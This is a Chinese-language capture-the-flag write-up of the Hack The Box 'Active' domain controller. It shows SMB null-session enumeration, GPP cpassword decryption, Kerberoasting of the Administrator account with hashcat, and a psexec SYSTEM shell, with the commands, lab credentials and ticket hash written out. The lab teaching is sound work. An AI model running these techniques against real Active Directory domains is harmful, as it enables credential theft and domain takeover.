HTB Active:从 GPP 明文凭据到 Kerberoasting 拿下域控

一句话摘要

file-20260529151147146

一、信息搜集#

1、端口扫描#

TCP 全端口扫描:

53(域控常见 DNS) + 88(Kerberos 认证走这个,KDC 运行在域控上的) + 389(LDAP,以及 636 LDAPS) + 445(SMB 服务) + 3268(Glocal Catalog,以及其安全加密版 3269),在已知目标为 Windows 靶机的前提下,基本可以确认目标是域控。

尤其是 3268(当然,其加密版本 3269 也是),官方文档的描述:“However, only domain controllers that are designated as global catalog servers can respond to global catalog queries on the global catalog port 3268.”

当然,不能单凭端口开放信息就 100% 确认“目标是域控”,需要多方位验证。

提取端口信息:

Bash
$ cat tcp_ports.nmap | grep -oP '^\d+' | paste -s -d ","
53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49166,49168

对这些 TCP 端口进行更细致的扫描(版本 + nmap 默认脚本)

可以看到,操作系统是较老的版本:Windows Server 2008 R2 SP1。

更重要的是,对于 LDAP 服务的详细信息中出现了域名信息:

Text
Domain: active.htb, Site: Default-First-Site-Name

先做本地域名解析,在 /etc/hosts 文件的末尾添加:

Bash
10.129.6.110 active.htb

这个就进一步加强了“目标是域控而不是普通 Windows”这一信息。

还有,默认脚本还带来一个关键的信息:

Text
Message signing enabled and required

这意味着,虽然 445 开着,但是 SMB relay 无法做。

2、SMB 共享枚举#

域渗透中,在没找到一个有效凭证之前,我们处于“匿名”阶段,要做的就是以匿名的身份,尽可能地去完整:

  • 有效用户的枚举(真实环境还可以通过 OSINT 去探寻命名规律)
  • 密码策略(决定了后续密码喷洒的策略)
  • 凭证的获取(多种手段,LLMNR & NBT-NS Primer、GPP 密码……)

而 445 端口开放的情况下,SMB 共享枚举通常就是最先做的操作,因为它非常的“静音”且实用。

先需要了解 SMB 共享枚举的原理,现有的工具,比如 smbmap、netexec 等它们做的枚举通常回答了两个问题:

  • 有哪些共享?
  • 我对这些共享的权限是什么?

首先,共享列表的获取,客户端连接到服务器的 IPC$(命名管道共享),通过 SMB 上的 SRVSVC 服务的 NetShareEnumAll 方法请求“你有哪些共享?”,服务器返回共享名列表。

第二,获得共享文件的权限信息,工具通常的做法就是用当前凭据去实际尝试连接并打开每个共享,根据返回判断权限:

  • 能列目录 → READ
  • 能写入测试文件 → WRITE(有些工具真的会写一个临时文件再删掉)
  • 拒绝访问 → NO ACCESS

上述这两个操作是 SMB 上完全合法的功能,并不是漏洞,因此“动静”并不是很大。

而且,最重要的是,老旧系统中,通常允许 SMB NULL Session(通过匿名账户建立 SMB 会话)。

现代加固系统默认会通过 RestrictAnonymous / RestrictAnonymousSAM 等策略限制匿名枚举,很多时候 NULL session 根本连不出东西。但即便如此,该操作值得每次都试。

尝试:

Bash
$ netexec smb 10.129.6.110 -u '' -p '' --shares
SMB         10.129.6.110    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.6.110    445    DC               [+] active.htb\: 
SMB         10.129.6.110    445    DC               [*] Enumerated shares
SMB         10.129.6.110    445    DC               Share           Permissions     Remark
SMB         10.129.6.110    445    DC               -----           -----------     ------
SMB         10.129.6.110    445    DC               ADMIN$                          Remote Admin
SMB         10.129.6.110    445    DC               C$                              Default share
SMB         10.129.6.110    445    DC               IPC$                            Remote IPC
SMB         10.129.6.110    445    DC               NETLOGON                        Logon server share 
SMB         10.129.6.110    445    DC               Replication     READ            
SMB         10.129.6.110    445    DC               SYSVOL                          Logon server share 
SMB         10.129.6.110    445    DC               Users

允许 NULL Session(工具也显示:Null Auth:True)。

可以发现,列举出来了共享文件,并且告知 Replication 共享具有 READ 权限。

额外的信息:主机名为 DC。

通过 smbclient 工具可以连接与该共享建立 session:

Bash
$ smbclient //10.129.6.110/Replication -U ''%''
Try "help" to get a list of possible commands.
smb: \> 

搜寻一番之后,可以看到一个有意思的 xml 文件:

Bash
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018

		5217023 blocks of size 4096. 279187 blocks available

通过 get 命令能下载到本地:

Bash
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml 
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)

本地打开查看:

XML
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

非常关键的信息:

Text
name="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

cpassword 是 GPP 密码(或者说是凭据)。

首先了解一下什么是 GPP:

GPP(Group Policy Preferences,组策略首选项),是微软在 Windows Server 2008 引入的一项功能,属于组策略(Group Policy)的一部分。

组策略你可以理解成域管理员用来"批量管理"域内所有机器和用户的工具。比如管理员想给全公司一千台电脑统一设置桌面壁纸、统一安装某个软件、统一配置防火墙规则,可以不用一台台手动操作,写一条组策略就能自动下发。

GPP 是组策略里专门用来做一些更灵活配置的扩展功能,常见用途包括:

  • 创建/修改本地用户账户(⭐)
  • 映射网络驱动器
  • 配置计划任务
  • 修改注册表、管理服务等

关键就在于“创建/修改本地用户账户”。管理员若用 GPP 来给域内所有机器批量创建一个本地管理员账户(比如统一的运维账户),这时候就需要在策略里填写这个账户的密码,对应的属性就是上面看到的 cpassword。该策略信息会以 XML 文件的形式保存,存放在域控的 SYSVOL 共享中。

SYSVOL 共享,域内的任意一个授权用户都可以读取,自然都可以看到 cpassword,微软觉得明文存储不太好,做了一个“看起来很安全”的事情:用 AES-256 加密密码后再存进去。

这就是为什么上面 cpassword 看起来是一串乱码而不是明文。

但是,机器若要创建密码,必然需要明文密码,微软为了让每台域内机器都能解密这个密码,直接把 AES 密钥公开发布在了 MSDN 的 MS-GPPREF 协议文档里。这就相当于将 AES 退化成了“编码行为”。

gpp-decrypt 就内置了这个密钥,可以用于破解 cpassword:

Bash
$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

破解得到了明文密码。

现在,我们就拥有了域内的一个账密:

Text
active.htb\SVC_TGS
GPPstillStandingStrong2k18

二、User FLag#

不同账户,对共享资源的权限也是不同的,用得到的账密进行 SMB 共享枚举:

Bash
$ netexec smb 10.129.6.110 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB         10.129.6.110    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.6.110    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 
SMB         10.129.6.110    445    DC               [*] Enumerated shares
SMB         10.129.6.110    445    DC               Share           Permissions     Remark
SMB         10.129.6.110    445    DC               -----           -----------     ------
SMB         10.129.6.110    445    DC               ADMIN$                          Remote Admin
SMB         10.129.6.110    445    DC               C$                              Default share
SMB         10.129.6.110    445    DC               IPC$                            Remote IPC
SMB         10.129.6.110    445    DC               NETLOGON        READ            Logon server share 
SMB         10.129.6.110    445    DC               Replication     READ            
SMB         10.129.6.110    445    DC               SYSVOL          READ            Logon server share 
SMB         10.129.6.110    445    DC               Users           READ 

可以发现,多了三个可以访问的资源:

Bash
NETLOGON
SYSVOL
Users

在靶场中,其实可以利用 netexec 的 -M spider_plus 和 -o DOWNLOAD_FLAG=True 这两个参数,递归式地扫描共享中的所有可读资源,并下载到本地。但这似乎并不符合 OPSEC,噪声偏大(主要就是其中的 get 行为)。

因此,这里采用老办法,建立 smb session 然后去查看信息。

在 Users 共享中,能找到 User Flag:

Bash
smb: \SVC_TGS\Desktop\> get user.txt 
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
Text
$ cat user.txt 
e2c3f*******************

三、Root Flag#

1、合法用户枚举#

在查看 Users 共享中的内容的时候,能发现很多目录中的内容当前用户并没有权限去读取:

Bash
smb: \> ls
  .                                  DR        0  Sat Jul 21 10:39:20 2018
  ..                                 DR        0  Sat Jul 21 10:39:20 2018
  Administrator                       D        0  Mon Jul 16 06:14:21 2018
  All Users                       DHSrn        0  Tue Jul 14 01:06:44 2009
  Default                           DHR        0  Tue Jul 14 02:38:21 2009
  Default User                    DHSrn        0  Tue Jul 14 01:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 00:57:55 2009
  Public                             DR        0  Tue Jul 14 00:57:55 2009
  SVC_TGS                             D        0  Sat Jul 21 11:16:32 2018

		5217023 blocks of size 4096. 278915 blocks available
smb: \> cd Administrator\
smb: \Administrator\> ls
NT_STATUS_ACCESS_DENIED listing \Administrator\*

这里的目录很可能暗示了还有 Administrator 用户,为了验证,可以进行域内合法用户的枚举:

Bash
$ netexec smb 10.129.6.110 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users
SMB         10.129.6.110    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.6.110    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 
SMB         10.129.6.110    445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.129.6.110    445    DC               Administrator                 2018-07-18 19:06:40 0       Built-in account for administering the computer/domain 
SMB         10.129.6.110    445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.129.6.110    445    DC               krbtgt                        2018-07-18 18:50:36 0       Key Distribution Center Service Account 
SMB         10.129.6.110    445    DC               SVC_TGS                       2018-07-18 20:14:38 0        
SMB         10.129.6.110    445    DC               [*] Enumerated 4 local users: ACTIVE

该枚举同样依赖 SMB 服务,连接 IPC$ 共享,接着向域控查询账户数据库。

不同的身份权限,查询出的用户信息可能不同,可以尝试之前的无凭证:

Bash
$ netexec smb 10.129.6.110 -u '' -p '' --users
SMB         10.129.6.110    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.6.110    445    DC               [+] active.htb\:

这个就得不到任何合法用户。

由上可以确认,确实有一个用户叫 Administrator。

2、Kerberoasting#

(1)Kerberos#

在理解 Kerberoasting 之前,需要先了解一下 Kerberos。

Kerberos 是一个身份验证协议(但是不做权限识别)。在不可信的网络上,Kerberos 能让客户端与服务器互相验证身份,并且让密码不在网络上传输。

它由 MIT 在 1980 年代提出,名字来自希腊神话中守卫冥府的三头犬 Cerberus,寓意"三方协作守门"。

怎么做到的呢?

核心就是使用票据。为了方便理解,举一个游乐园的例子(后续会提到对应关系):你去游乐园玩,购买门票之后,在入口处进行身份验证。验证通过了,工作人员就会给你一个手环(什么柯南剧情 bushi),接下来你在游乐园中游玩任何项目只需要拿着该手环去换对应的项目票即可,不需要再次验证身份。

在 Kerberos 认证中,涉及到三个 Agents(参与者):

  • Client:想要访问服务的用户
  • AP(Application Server):提供用户所需服务的服务器(游乐场中的娱乐设施)
  • KDC(Key Distribution Center):Kerberos 的核心服务,负责颁发票据,安装在域控上。它由 AS(Authentication Service,游乐场大门验票口)和 TGS(Ticket Granting Service,游乐场“项目票”兑换处)组成。

注意:Application Server 的英文缩写并不和 AP 对应。这是因为 AS 这个缩写在 AD 中代表 Authentication Service,已经被占用了。

票据分为两类:

  • TGT(Ticket Granting Ticket):相当于“手环”
  • TGS(Ticket Granting Service Ticket):相当于用“手环”换到的“项目票”。由于和 Ticket Granting Service 的缩写冲突,因此很多情况下也称其为 ST(Service Ticket)。为了避免混淆,后续用 ST。

Kerberos 会处理许多结构(如票据),其中许多结构都经过了加密或签名,以防止被第三方篡改。

相关密钥:

  • KDC / krbtgt key:源自 krbtgt 账户口令(RC4 下即其 NTLM 哈希)。
  • User key:源自用户自身口令。
  • Service key:源自服务所有者(用户账户或计算机账户)的口令。
  • Session key:由 KDC 生成,用于 Client 与 KDC 之间。
  • Service session key:用于用户和服务之间。

前三个密钥源于对应账户的口令。口令虽说要求定期更改,但也会使用一段时间,在这段时间内这三个密钥并不会发生变化。因此,前三个密钥也被称为长期密钥,后两个就属于临时密钥。

和密钥相关的,就是 etype(加密类型),主要有:

  • RC4-HMAC = etype 23(0x17)
  • AES128-CTS-HMAC-SHA1-96 = etype 17(0x11)
  • AES256-CTS-HMAC-SHA1-96 = etype 18(0x12)

注意,这并不是一个单独的算法,而是好几个。一个 etype 捆了三个独立的部分:

  1. string-to-key:怎么把"口令"变成"长期密钥"。
  2. 加密算法:拿密钥怎么加解密数据。
  3. 完整性校验(HMAC/checksum):怎么保证密文没被篡改、怎么验口令对不对。

但是,单看名称“看不全”上述三个部分,只能看到后面两个,就比如 AES256-CTS-HMAC-SHA1-96:

  • AES256 → 加密算法(采用的是 CTS 模式)
  • HMAC-SHA1-96 → 完整性校验(SHA1 截断到 96 位)

但是关于 string-to-key,名字里一个字都没有。因此需要拿出来单独记忆:

string-to-key(口令→长期密钥)加密算法完整性校验key 长度
RC4-HMAC(etype 23 / 0x17)MD4(UTF-16LE(口令)) = NT 哈希。无 salt、无迭代,1 次哈希RC4 流密码(每条消息再用 base key + key usage 经 HMAC-MD5 派生出一把临时 RC4 key,前置 confounder)HMAC-MD5128 位
AES128-CTS-HMAC-SHA1-96(etype 17 / 0x11)PBKDF2-HMAC-SHA1,默认 4096 次迭代 + salt(默认 大写REALM + 区分大小写的用户名),再经 DK 派生AES-128,CBC + CTS(密文挪用模式)HMAC-SHA1,截断到 96 位128 位
AES256-CTS-HMAC-SHA1-96(etype 18 / 0x12)同上 PBKDF2-HMAC-SHA1,4096 次迭代 + 同样的 salt 规则,输出 256 位AES-256,CBC + CTSHMAC-SHA1-96256 位

现代 AD(域功能级别 2008 及以上)默认协商 AES。

关于完整性校验,HMAC 的参数是:

Text
HMAC(key, confounder‖明文)

因此,最本质的就是在保护“明文”的完整性。

confounder 可以理解为简易的 IV,防止出现“对同一内容加密,得同一密文”的现象。

Kerberos 有下述几种消息(Messages):

  • KRB_AS_REQ:向 KDC 请求 TGT。
  • KRB_AS_REP:KDC 交付 TGT。
  • KRB_TGS_REQ:使用 TGT 向 KDC 请求 TGS。
  • KRB_TGS_REP:KDC 交付 TGS。
  • KRB_AP_REQ:使用 TGS 向某个服务进行身份验证。
  • KRB_AP_REP:(可选)服务向用户表明自身身份(双向认证)。
  • KRB_ERROR:沟通错误状态的消息。

下述讲解还会涉及到 SPN 这个概念,这里顺带讲一下:

SPN(Service Principal Name,服务主体名称),是 Kerberos / AD 里用来唯一标识"某台主机上的某个服务实例"的名字。客户端想访问一个服务时,就是靠 SPN 来告诉 KDC:"我要这个服务的票据。"

SPN 的典型写法是:

Text
服务类/主机名[:端口或实例]

例如:

  • HTTP/web01.corp.local:web01 上的 Web 服务
  • MSSQLSvc/sql01.corp.local:1433:sql01 上的 SQL Server(1433 端口)
  • CIFS/fileserver.corp.local:文件共享
  • LDAP/dc01.corp.local:域控上的 LDAP

SPN 并不是一个独立的对象,而是作为属性(servicePrincipalName 属性)注册在某个账户对象上的,比如:

  • 如果服务以机器身份运行(如 LocalSystem),SPN 注册在该机器账户上。
  • 如果服务以域用户身份运行(常见于 SQL Server、IIS 应用池等),SPN 注册在那个域用户上。

理解了 SPN,我们就可以开始深入 Messages 的具体过程了。

假设,有一个用户需要访问 AP 上的某个服务(SPN),若直接访问,AP 无法识别用户的身份,当然会拒绝。

因此,Client 需要先询问 KDC,发送 KRB_AS_REQ Massage 给 AS:

file-20260531100121558

发送的内容有:

  • TimeStamp(时间戳):一个用 User Key 加密的时间戳,不仅能验证用户身份,还能防止重放攻击。
  • Username:当前用户
  • SPN:这是与 krbtgt 账户关联的服务
  • User Nonce:用户生成的随机数,也是为了防止重放攻击

这里就相当于,你入园之前的检票环节,你需要提供自己的身份信息,并且证明自己没有“拿旧票糊弄”。

AS 收到之后,用 User Key 解密时间戳,核对时间以及用户身份信息。若核对无误则回应用户(发送 KRB_AS_REP):

file-20260531103457791

发送的内容:

  • Username(明文)
  • TGT:用 KDC Key 加密,其内容包含:Username、Session Key、TGT 到期时间、PAC(KDC 签名)
  • 将 TGT 中的部分内容(Session Key、TGT 到期时间)用 User Key 加密后发送
  • User Nonce:这个 Nonce 必须和之前 KRB_AS_REQ 中发过来的一样,目的就是防止重放

关于“为什么 AS 上有用户的 user key”:KDC 是运行在域控上的,每个域内用户在创建/修改自己的账户的时候,DC 都会做对应的存储(将口令存入 NTDS.dit),而 user key 是通过口令算出来的,意味着 DC 确实有 user key。

这里完成了 Session key 密钥交换的步骤,使得后续 Client 和 TGS 之间能安全通信。

这个 Message 就对应:入口验证通过后,将手环给了你,并且告诉你“最长游玩时间”。

接下来,用户就可以拿着 TGT 去请求 ST 了,即发送 KRB_TGS_REQ:

file-20260531151451691

发送的内容:

  • 用 Session key 加密的 Authenticator(含用户名、时间戳)
  • TGT(实际以 AP-REQ 形式置于 padata 中)
  • 所请求服务的 SPN
  • User Nonce(作用同之前)

这部分对应:用户拿着没过期的手环,去对应的地方兑换要玩项目的“项目票”。

TGS 收到后, 用 KDC key 验证 TGT 的合法性以及时间的有效性。若合法且没有过期,则发送 KRB_TGS_REP 给 Client:

file-20260531151323070

发送的内容有:

  • Username
  • 经过 Service key 加密的 ST,含:Service session key、用户名、ST 到期日期、由 KDC 签名的 PAC
  • 用 Session key 加密的数据:Service session key、ST 到期日期、User Nonce

这里完成了 Service Session Key 的密钥交换,为了后续 Clinet 与 AP 之间能安全交互。

用户有了“项目票”就可以去对应的“娱乐设施”进行游玩了。

现在 Client 向 AP 发送 KRB_AP_REQ:

file-20260531152610318

发送的内容有:

  • ST
  • 用 Service session key 加密的数据:Username、TimeStamp

验证通过之后,Client 就可以访问对应的 SPN 了。

当然,这里有个可选项,KRB_AP_REP,用于“客户端验证服务器的身份”。

这一过程对初学者来说,术语繁多、交互/流程繁琐,并非一下子就能掌握的。推荐大家从实践(比如打靶场)出发,遇到对应知识点(比如 Kerberoasting)的时候,就自己理解一下底层交互原理,多看、多理解、多深挖,会发现对这部分会越来越熟练的。

在末尾处留了一个 AI 生成的“理解 Kerberos”的交互式 HTML 源代码。大家可以自己体验一下。

(2)Kerberoasting#

回归正题。

回看 Kerberos 的交互过程,不难发现,只需要域内用户的一个有效凭证即可走完 Kerberos 的全交互。核心就在于:kerberos 只是验证用户的合法性,至于“是否对某服务具有访问权限”它并不关心。

好,假设我们有一个域内的合法用户的凭证(现在我们就是那个 Clinet),那么通过 Kerberos 验证流程,我能获得什么额外的信息吗?

专注于 KRB_TGS_REP 这条 Message:

file-20260531151323070

Service Key 由 SPN 所绑定的账户的口令生成:

file-20260531175431445

Hash 值用于保证明文(ST)的完整性。

此时 Client 知道的内容(红圈部分):

file-20260531175546946

此时,只需要本地爆破“口令”,计算对应的 Service Key',通过对 ST(密文)进行解密,再进行 HMAC 计算,若得到的 Hash' 和 Hash 一致,说明明文一致,则口令正确。

file-20260531194156122

红色为已知部分。

这就是 Kerberoasting,它能让我们得到另一个有效用户的凭据信息,但是前提条件:

  • 需要一个有效用户的凭证
  • 知道目标账号绑定了 SPN
  • 对方密码较弱且使用的 etype 不是 AES 系。

这些条件都不难理解,首先“有效用户的凭证”,这是 Kerberos 认证流程能走完的关键。

关于第二点:在到 KRB_TGS_REP 之前,KRB_TGS_REQ 需要知道目标 SPN,否则 TGS 无法找到对应的 Service Key 给你签发 ST。

关于第三点,我们知道密钥的诞生,需要通过 string-to-key 得到:

  • RC4-HMAC (etype 23):string-to-key 直接就是 NTLM hash,也就是 MD4(口令)。一次哈希、无 salt。所以爆破时每猜一个口令只需算一次 MD4
  • AES (etype 17/18):key 是用 PBKDF2-HMAC-SHA1(口令, salt, 4096 次迭代) 派生的。带 salt、迭代 4096 轮。每猜一个口令要做 4096 次 HMAC-SHA1,而且 salt(通常是 realm+用户名)让你没法用彩虹表、也没法跨账户复用计算

这就导致不同的 etype,破解的时间长度就不同,再加上如果目标的密码长度很长(比如机器账户,其口令为系统随机生成的 ~120 字符),就基本不可能破解。

而且,即便目标价值很高,值得花时间,但是在 AD 中密码定期更换,真要是让你破解出来了,对方可能已经更换密码了。

因此,我们最希望的组合就是 etype 23 + 弱密码。

(3)利用#

由于我们知道目标用户,因此采取噪声更小的方式:

Bash
$ GetUserSPNs.py -request-user Administrator -dc-ip 10.129.7.74 active.htb/SVC_TGS -save -outputfile tgthash.out
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies 

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2026-05-31 08:13:51.195363
Bash
$ cat tgthash.out 
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$71933fbf68c6936f2ac6e0605c1bbd16$7820b44cced36e0b91c741f2eb92325c266ba682342a69adc5e8a9127f615ebc673d0bfbdbbd749bbad54dece750c6ac4c0fc65e81c0524eed518e646f7c92f8dba5ea9b545392326650c68ae6193729a513ba6ba2b917ee17cc03317cfdb16972d5f530128d4784b8b9e1d8142ee55eed854c3bb9ee75bb35a598a5e836bd60cd3893297802c041641110107c2f6e3e5c60d79140c16620e4da027b4337032cc9f22f095748d634927281d9bddfa7d0cd4e082e0eedbb891f831feb7b2bd3b4da7c41292a8592ede9dd9eaba4d2b84756a19af723a33545d8332a3d7247ef1969c591135dc01507961abc29c74ce444297e66016f449c4c32087827f37096819cb146bc6e0b4fe40677a3c81bb2e08598dbcd30609a9d6b8bb852849f0e6d482d524a542017c799ca4caf7646f647ba6d9daec33242d8f5d0a7d7838ae5720e4299b89855b6f091cbd56ce4c0c6be45b07ba0821b52fa8e4bfdd0b4b4913fc33a0ab414bf4e4b9261fcc3f2bcbc524d1ec61c258898823b179eb253b4cb3e58f2196124f4e4b29ea8230e4aeee6737bae2281cc047c8cd7154b1dd1bb9d787eebc3d25180b96a234dd9ddb02eb6ffda03f8229aa527131b84380bbcedbe762173f1b5331e8d2bfa597efa745539bdf829c69e3f1a8cb957595f3c15d2e82c59c47bfa5b41d63f6b1a6d5bbd4ae3d04978b73304badd21a59553d4c0911704e9c4c696c294d565a6a9e354b9e18efe7a4a1fbd545a890e674593570044c42286aed4fed2b0327beb9d3a2a1f78310fd4b0c489b55a747c8c08cfb0d5d5a266d4d2b96c4834bbbf5c44d3e7587edf4caa491fd6bff852b794c88f573f3c3b476fc71e5781db650d596adf18e2da71fa5b874e5d2c68699b8c9ee0c1b9befbc6c5af4953b84e4655768db5fa34c5b18996895d047f064c63bc63873212db1cc94c8c77a28b789675e8ec45208f055652f492adf88a4647437c743d82d2c613e4d62d18db58dd0b9feabe5e2855b42f4717d05a16c7a3d15fd2492eabba280171ae68a35ec1164d7fbc993a41bfe43052aa4ce51894aac6e127f407bb66f3966c3523cd9224016d65f05b8009d7b2bf18478abf508936c390adc477f189190ed768c8801a0ea4633633c779f9b9dd82fef27c3dd41cd3d536ebce28fb728a48d086eced8528f4f48440724965e2c1d055368eb634e3572907cd2a00d1c5d8605da27cb04fded0f6d4a9b23247023b2bf632512356b6605695dbea7f

在指定目标用户为 Administrator 之后,该工具通过 LDAP 协议对 AD 数据库(NTDS.dit)进行查询,得到该用户的 SPN 属性(active/CIFS:445)。接下来根据我们之前讲的,进行 kerberoast 操作,最终得到了 TGS Hash。

  • $krb5tgs$ 标识这是 Kerberos TGS 票据哈希。
  • 23 代表加密类型(etype)为 23,即 RC4-HMAC(这正是我们希望的)

利用 Hashcat 进行本地离线破解。

先找到对应的模块:

Bash
$ hashcat --help | grep Kerberos
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol

etype 23 + TGS-REP,即选择 13100:

得到的明文密码是:

Text
Ticketmaster1968

3、SMB 共享枚举#

Bash
$ smbmap -H 10.129.7.74 -u 'Administrator' -p 'Ticketmaster1968'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
[!] Unable to remove test file at \\10.129.7.74\SYSVOL\BLGDFQUNYX.txt, please remove manually                                
                                                                                                                             
[+] IP: 10.129.7.74:445	Name: active.htb          	Status: ADMIN!!!   	
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	READ, WRITE	Remote Admin
	C$                                                	READ, WRITE	Default share
	IPC$                                              	NO ACCESS	Remote IPC
	NETLOGON                                          	READ, WRITE	Logon server share 
	Replication                                       	READ ONLY	
	SYSVOL                                            	READ, WRITE	Logon server share 
	Users                                             	READ ONLY	
[*] Closed 1 connections

从输出:

Text
Status: ADMIN!!!

以及对 C和ADMIN 和 ADMIN 共享具有读写权限,可以看出,当前账号的权限至少是管理员权限,甚至可能是 SYSTEM。

C$ 就是 C 盘的隐藏管理共享,通过 smbclient 建立与该共享之间的 Session,就能访问整个 C 盘文件系统,在其中就能找到 root flag:

Bash
$ smbclient //10.129.7.74/c$ -U 'Administrator'%'Ticketmaster1968'
Try "help" to get a list of possible commands.
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Thu Jan 21 11:49:47 2021
  ..                                 DR        0  Thu Jan 21 11:49:47 2021
  desktop.ini                       AHS      282  Mon Jul 30 09:50:10 2018
  root.txt                           AR       34  Sun May 31 08:13:47 2026

		5217023 blocks of size 4096. 277621 blocks available
smb: \Users\Administrator\Desktop\> get root.txt
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
Bash
$ cat root.txt 
f32fd************************

我们也可以利用后渗透工具 psexec.py 获得一个交互式 shell:

通过日志信息:

Text
[*] Requesting shares on 10.129.7.74.....
[*] Found writable share ADMIN$
[*] Uploading file XFiGSSMP.exe
[*] Opening SVCManager on 10.129.7.74.....
[*] Creating service NlhO on 10.129.7.74.....
[*] Starting service NlhO.....
[!] Press help for extra shell commands

能看出该工具返回 Shell 的原理。

psexec 首先查看了目标上的共享(用当前用户的权限),找到了可写共享 ADMIN$,然后写入文件 XFiGSSMP.exe。

接着,psexec 用当前凭证连到目标的 SVCManager(服务控制管理器,走的是 RPC over SMB,\pipe\svcctl),创建一个新服务 NlhO(名字随机),指向刚上传的那个 exe。

最后,服务启动 → 之前上传的 exe 以 SYSTEM 权限执行(因为运行它的是 SVCManager,本质上是 svchost.exe 的一个实例,而 svchost.exe 是 SYSTEM 启动的进程) → 这个 exe 的工作就是"启动一个 cmd.exe 进程、重定向 stdin/stdout/stderr 到一个命名管道"→ psexec 本地那端连到这个命名管道 → 最终看到返回一个交互式 shell。

四、HTML#

这就是上面提到的可看到交互式 Kerberos 流程的 HTML 源码,大家可以自己本地打开:

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做